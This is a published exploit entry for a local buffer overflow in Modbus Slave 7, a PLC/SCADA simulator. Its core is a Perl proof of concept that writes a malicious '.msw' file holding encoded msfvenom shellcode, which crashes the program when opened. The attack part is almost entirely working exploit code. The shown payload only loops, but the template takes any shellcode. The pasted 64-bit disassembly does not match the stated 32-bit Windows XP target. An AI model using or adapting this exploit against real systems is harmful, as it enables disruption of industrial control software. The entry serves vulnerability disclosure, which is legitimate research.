Modbus Slave PLC 7 Buffer Overflow

2018.10.29
Credit: Kagan Capar
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC) # Author: Kagan Capar # Discovery Date: 2018-10-27 # Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe # Vendor Homepage : https://www.modbustools.com # Tested Version: 7 # Tested on OS: Windows XP SP3 *ENG # other version should be affected # About software : Modbus Slave is for simulating up to 32 slave devices in 32 windows!. # Speed up your PLC programming with this simulating tools. Used for SCADA systems. # Modbus is a serial communications protocol originally published by Schneider Electric # Steps to Reproduce: Run the perl exploit script, it will create a new # file with the name "exploit.msw" and Drag on to "mbslave.exe" # you will see a loop and crash on software # Greetz : cwd-onkan-badko-key-akkus # ! /usr/bin/perl # Dump of assembler code for function loop: # 0x0000555555558030 <+0>: mov $0x1e3b563c,%ebx # 0x0000555555558035 <+5>: fld %st(4) # 0x0000555555558037 <+7>: fnstenv -0xc(%rsp) # 0x000055555555803b <+11>: pop %rax # 0x000055555555803c <+12>: sub %ecx,%ecx # 0x000055555555803e <+14>: mov $0x1,%cl # 0x0000555555558040 <+16>: xor %ebx,0x14(%rax) # 0x0000555555558043 <+19>: add $0x4,%eax # 0x0000555555558046 <+22>: add 0x10(%rax),%ebx # 0x0000555555558049 <+25>: fisubs 0xe0d0(%rbx) # msfvenom -p generic/tight_loop --platform windows_86 -f perl -e x86/shikata_ga_nai # print /x &loop # $1 = 0x555555558030 open(code, ">exploit.msw"); binmode(code); $loop = "\xbb\x3c\x56\x3b\x1e\xd9\xc4\xd9\x74\x24\xf4\x58\x2b\xc9" . "\xb1\x01\x31\x58\x14\x83\xc0\x04\x03\x58\x10\xde\xa3\xd0" . "\xe0"; print code $loop; close(code);


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